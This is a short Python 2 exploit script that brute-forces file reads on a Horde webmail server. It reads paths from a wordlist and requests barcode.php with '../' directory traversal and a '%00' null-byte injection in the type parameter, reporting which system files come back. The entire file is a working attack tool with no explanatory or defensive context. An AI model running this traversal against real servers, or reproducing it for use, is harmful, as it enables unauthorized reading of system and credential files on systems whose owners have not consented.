import sys
import urllib2

class textColor:
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'


target = sys.argv[1]

path ="/horde/util/barcode.php?type=../../../../../../.."
op = urllib2.build_opener()

fd = open(sys.argv[2], "r")
for requestFile in fd.readlines():

	#remove backspace after file
	requestFile = requestFile.rstrip('\n')

	#Concact with Null Byte Injection - %00
	url = 'http://'+target+path+requestFile+"%00"
	
	try:
		f = op.open(url)
		result =  f.read()
		print textColor.OKGREEN+"[OK] " + requestFile+textColor.ENDC
	except urllib2.HTTPError, e:
		print textColor.WARNING+"["+str(e.code)+"]  " + requestFile+textColor.ENDC


